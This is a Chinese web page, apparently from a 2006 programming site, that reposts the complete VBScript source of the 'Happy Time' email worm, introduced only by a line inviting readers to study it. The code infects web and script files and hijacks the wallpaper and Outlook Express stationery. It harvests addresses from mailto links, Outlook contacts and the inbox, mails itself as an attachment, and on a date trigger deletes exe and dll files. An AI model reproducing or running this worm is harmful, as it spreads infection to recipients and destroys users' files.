分享
 
 
 

"快乐时光"的邮件病毒源程序,大家一起研究研究,也希望版主加入精华区

王朝asp·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

这个程序很不差,快研究吧!

<SCRIPT language=VBScript>

Rem I am sorry! happy time

On Error Resume Next

mload

Sub mload()

On Error Resume Next

mPath = Grf()

Set Os = CreateObject("Scriptlet.TypeLib")

Set Oh = CreateObject("Shell.Application")

If IsHTML Then

mURL = LCase(document.Location)

If mPath = "" Then

Os.Reset

Os.Path = "C:\Help.htm"

Os.Doc = Lhtml()

Os.Write()

Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"

Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)

Else

If Iv(mPath, "Help.vbs") Then

setInterval "Rt()", 10000

Else

m = "hta"

If LCase(m) = Right(mURL, Len(m)) Then

id = setTimeout("mclose()", 1)

main

Else

Os.Reset()

Os.Path = mPath & "\" & "Help.hta"

Os.Doc = Lhtml()

Os.write()

Iv mPath, "Help.hta"

End If

End If

End If

Else

main

End If

End Sub

Sub main()

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject")

Set Od = CreateObject("Scripting.Dictionary")

Od.Add "html", "1100"

Od.Add "vbs", "0100"

Od.Add "htm", "1100"

Od.Add "asp", "0010"

Ks = "HKEY_CURRENT_USER\Software\"

Ds = Grf()

Cs = Gsf()

If IsVbs Then

If Of.FileExists("C:\help.htm") Then

Of.DeleteFile ("C:\help.htm")

End If

Key = CInt(Month(Date) + Day(Date))

If Key = 13 Then

Od.RemoveAll

Od.Add "exe", "0001"

Od.Add "dll", "0001"

End If

Cn = Rg(Ks & "Help\Count")

If Cn = "" Then

Cn = 1

End If

Rw Ks & "Help\Count", Cn + 1

f1 = Rg(Ks & "Help\FileName")

f2 = FNext(Of, Od, f1)

fext = GetExt(Of, Od, f2)

Rw Ks & "Help\FileName", f2

If IsDel(fext) Then

f3 = f2

f2 = FNext(Of, Od, f2)

Rw Ks & "Help\FileName", f2

Of.DeleteFile f3

Else

If LCase(WScript.ScriptFullname) <> LCase(f2) Then

Fw Of, f2, fext

End If

End If

If (CInt(Cn) Mod 366) = 0 Then

If (CInt(Second(Time)) Mod 2) = 0 Then

Tsend

Else

adds = Og

Msend (adds)

End If

End If

wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")

If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then

If wp = "" Then

n1 = ""

n3 = Cs & "\Help.htm"

Else

mP = Of.GetFile(wp).ParentFolder

n1 = Of.GetFileName(wp)

n2 = Of.GetBaseName(wp)

n3 = Cs & "\" & n2 & ".htm"

End If

Set pfc = Of.CreateTextFile(n3, True)

mt = Sa("1100")

pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt

pfc.Close

Rw Ks & "Help\wallPaper", n3

Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3

End If

Else

Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)

fc.Write Sa("0100")

fc.Close

bf = Cs & "\Untitled.htm"

Set fc2 = Of.CreateTextFile(bf, True)

fc2.Write Lhtml

fc2.Close

oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")

oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"

MSH = oe & "\Message Send HTML"

CUS = oe & "\Compose Use Stationery"

SN = oe & "\Stationery Name"

Rw MSH, 1

Rw CUS, 1

Rw SN, bf

Web = Cs & "\WEB"

Set gf = Of.GetFolder(Web).Files

Od.Add "htt", "1100"

For Each m In gf

fext = GetExt(Of, Od, m)

If fext <> "" Then

Fw Of, m, fext

End If

Next

End If

End Sub

Sub mclose()

document.Write "<" & "title>I am sorry!</title" & ">"

window.Close

End Sub

Sub Rt()

Dim mPath

On Error Resume Next

mPath = Grf()

Iv mPath, "Help.vbs"

End Sub

Function Sa(n)

Dim VBSText, m

VBSText = Lvbs()

If Mid(n, 3, 1) = 1 Then

m = "<%" & VBSText & "%>"

End If

If Mid(n, 2, 1) = 1 Then

m = VBSText

End If

If Mid(n, 1, 1) = 1 Then

m = Lscript(m)

End If

Sa = m & vbCrLf

End Function

Sub Fw(Of, S, n)

Dim fc, fc2, m, mmail, mt

On Error Resume Next

Set fc = Of.OpenTextFile(S, 1)

mt = fc.ReadAll

fc.Close

If Not Sc(mt) Then

mmail = Ml(mt)

mt = Sa(n)

Set fc2 = Of.OpenTextFile(S, 8)

fc2.Write mt

fc2.Close

Msend (mmail)

End If

End Sub

Function Sc(S)

mN = "Rem I am sorry! happy time"

If InStr(S, mN) > 0 Then

Sc = True

Else

Sc = False

End If

End Function

Function FNext(Of, Od, S)

Dim fpath, fname, fext, T, gf

On Error Resume Next

fname = ""

T = False

If Of.FileExists(S) Then

fpath = Of.GetFile(S).ParentFolder

fname = S

ElseIf Of.FolderExists(S) Then

fpath = S

T = True

Else

fpath = Dnext(Of, "")

End If

Do While True

Set gf = Of.GetFolder(fpath).Files

For Each m In gf

If T Then

If GetExt(Of, Od, m) <> "" Then

FNext = m

Exit Function

End If

ElseIf LCase(m) = LCase(fname) Or fname = "" Then

T = True

End If

Next

fpath = Pnext(Of, fpath)

Loop

End Function

Function Pnext(Of, S)

On Error Resume Next

Dim Ppath, Npath, gp, pn, T, m

T = False

If Of.FolderExists(S) Then

Set gp = Of.GetFolder(S).SubFolders

pn = gp.Count

If pn = 0 Then

Ppath = LCase(S)

Npath = LCase(Of.GetParentFolderName(S))

T = True

Else

Npath = LCase(S)

End If

Do While Not Er

For Each pn In Of.GetFolder(Npath).SubFolders

If T Then

If Ppath = LCase(pn) Then

T = False

End If

Else

Pnext = LCase(pn)

Exit Function

End If

Next

T = True

Ppath = LCase(Npath)

Npath = Of.GetParentFolderName(Npath)

If Of.GetFolder(Ppath).IsRootFolder Then

m = Of.GetDriveName(Ppath)

Pnext = Dnext(Of, m)

Exit Function

End If

Loop

End If

End Function

Function Dnext(Of, S)

Dim dc, n, d, T, m

On Error Resume Next

T = False

m = ""

Set dc = Of.Drives

For Each d In dc

If d.DriveType = 2 Or d.DriveType = 3 Then

If T Then

Dnext = d

Exit Function

Else

If LCase(S) = LCase(d) Then

T = True

End If

If m = "" Then

m = d

End If

End If

End If

Next

Dnext = m

End Function

Function GetExt(Of, Od, S)

Dim fext

On Error Resume Next

fext = LCase(Of.GetExtensionName(S))

GetExt = Od.Item(fext)

End Function

Sub Rw(k, v)

Dim R

On Error Resume Next

Set R = CreateObject("WScript.Shell")

R.RegWrite k, v

End Sub

Function Rg(v)

Dim R

On Error Resume Next

Set R = CreateObject("WScript.Shell")

Rg = R.RegRead(v)

End Function

Function IsVbs()

Dim ErrTest

On Error Resume Next

ErrTest = WScript.ScriptFullname

If Err Then

IsVbs = False

Else

IsVbs = True

End If

End Function

Function IsHTML()

Dim ErrTest

On Error Resume Next

ErrTest = document.Location

If Er Then

IsHTML = False

Else

IsHTML = True

End If

End Function

Function IsMail(S)

Dim m1, m2

IsMail = False

If InStr(S, vbCrLf) = 0 Then

m1 = InStr(S, "@")

m2 = InStr(S, ".")

If m1 <> 0 And m1 < m2 Then

IsMail = True

End If

End If

End Function

Function Lvbs()

Dim f, m, ws, Of

On Error Resume Next

If IsVbs Then

Set Of = CreateObject("Scripting.FileSystemObject")

Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)

Lvbs = f.ReadAll

Else

For Each ws In document.scripts

If LCase(ws.Language) = "vbscript" Then

If Sc(ws.Text) Then

Lvbs = ws.Text

Exit Function

End If

End If

Next

End If

End Function

Function Iv(mPath, mName)

Dim Shell

On Error Resume Next

Set Shell = CreateObject("Shell.Application")

Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb

If Er Then

Iv = False

Else

Iv = True

End If

End Function

Function Grf()

Dim Shell, mPath

On Error Resume Next

Set Shell = CreateObject("Shell.Application")

mPath = "C:\"

For Each mShell In Shell.NameSpace(mPath).Items

If mShell.IsFolder Then

Grf = mShell.Path

Exit Function

End If

Next

If Er Then

Grf = ""

End If

End Function

Function Gsf()

Dim Of, m

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject")

m = Of.GetSpecialFolder(0)

If Er Then

Gsf = "C:\"

Else

Gsf = m

End If

End Function

Function Lhtml()

Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _

"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _

"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _

"<" & "/Body></HTML" & ">"

End Function

Function Lscript(S)

Lscript = "<" & "script language='VBScript'>" & vbCrLf & _

S & "<" & "/script" & ">"

End Function

Function Sl(S1, S2, n)

Dim l1, l2, l3, i

l1 = Len(S1)

l2 = Len(S2)

i = InStr(S1, S2)

If i > 0 Then

l3 = i + l2 - 1

If n = 0 Then

Sl = Left(S1, i - 1)

ElseIf n = 1 Then

Sl = Right(S1, l1 - l3)

End If

Else

Sl = ""

End If

End Function

Function Ml(S)

Dim S1, S3, S2, T, adds, m

S1 = S

S3 = """"

adds = ""

S2 = S3 & "mailto" & ":"

T = True

Do While T

S1 = Sl(S1, S2, 1)

If S1 = "" Then

T = False

Else

m = Sl(S1, S3, 0)

If IsMail(m) Then

adds = adds & m & vbCrLf

End If

End If

Loop

Ml = Split(adds, vbCrLf)

End Function

Function Og()

Dim i, n, m(), Om, Oo

Set Oo = CreateObject("Outlook.Application")

Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items

n = Om.Count

ReDim m(n)

For i = 1 To n

m(i - 1) = Om.Item(i).Email1Address

Next

Og = m

End Function

Sub Tsend()

Dim Od, MS, MM, a, m

Set Od = CreateObject("Scripting.Dictionary")

MConnect MS, MM

MM.FetchSorted = True

MM.Fetch

For i = 0 To MM.MsgCount - 1

MM.MsgIndex = i

a = MM.MsgOrigAddress

If Od.Item(a) = "" Then

Od.Item(a) = MM.MsgSubject

End If

Next

For Each m In Od.Keys

MM.Compose

MM.MsgSubject = "Fw: " & Od.Item(m)

MM.RecipAddress = m

MM.AttachmentPathName = Gsf & "\Untitled.htm"

MM.Send

Next

MS.SignOff

End Sub

Function MConnect(MS, MM)

Dim U

On Error Resume Next

Set MS = CreateObject("MSMAPI.MAPISession")

Set MM = CreateObject("MSMAPI.MAPIMessages")

U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")

MS.UserName = U

MS.DownLoadMail = False

MS.NewSession = False

MS.LogonUI = True

MS.SignOn

MM.SessionID = MS.SessionID

End Function

Sub Msend(Address)

Dim MS, MM, i, a

MConnect MS, MM

i = 0

MM.Compose

For Each a In Address

If IsMail(a) Then

MM.RecipIndex = i

MM.RecipAddress = a

i = i + 1

End If

Next

MM.MsgSubject = " Help "

MM.AttachmentPathName = Gsf & "\Untitled.htm"

MM.Send

MS.SignOff

End Sub

Function Er()

If Err.Number = 0 Then

Er = False

Else

Err.Clear

Er = True

End If

End Function

Function IsDel(S)

If Mid(S, 4, 1) = 1 Then

IsDel = True

Else

IsDel = False

End If

End Function

</SCRIPT>

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有